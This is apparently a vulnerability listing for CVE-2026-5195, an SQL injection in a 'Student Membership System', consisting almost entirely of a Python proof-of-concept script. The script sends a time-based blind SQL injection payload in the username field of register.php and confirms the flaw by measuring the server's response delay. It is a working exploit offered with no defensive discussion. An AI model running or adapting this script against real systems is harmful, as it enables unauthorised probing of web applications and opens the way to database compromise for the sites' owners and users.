CVE-2026-5195 Student Membership System SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/register.php" # Malicious payload to test SQL Injection # This payload attempts a time-based blind injection sql_payload = "admin' AND SLEEP(5)-- " # Prepare the POST data with the injection payload post_data = { "username": sql_payload, "email": "[email protected]", "password": "password123", "confirm_password": "password123", "register_btn": "Submit" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=post_data, headers=headers, timeout=10) # Analyze response time to verify blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Server response delay detected (SQL Injection).") else: print("[-] No significant delay detected. Vulnerability might not exist or be patched.") except requests.RequestException as e: print(f"[!] Error during request: {e}")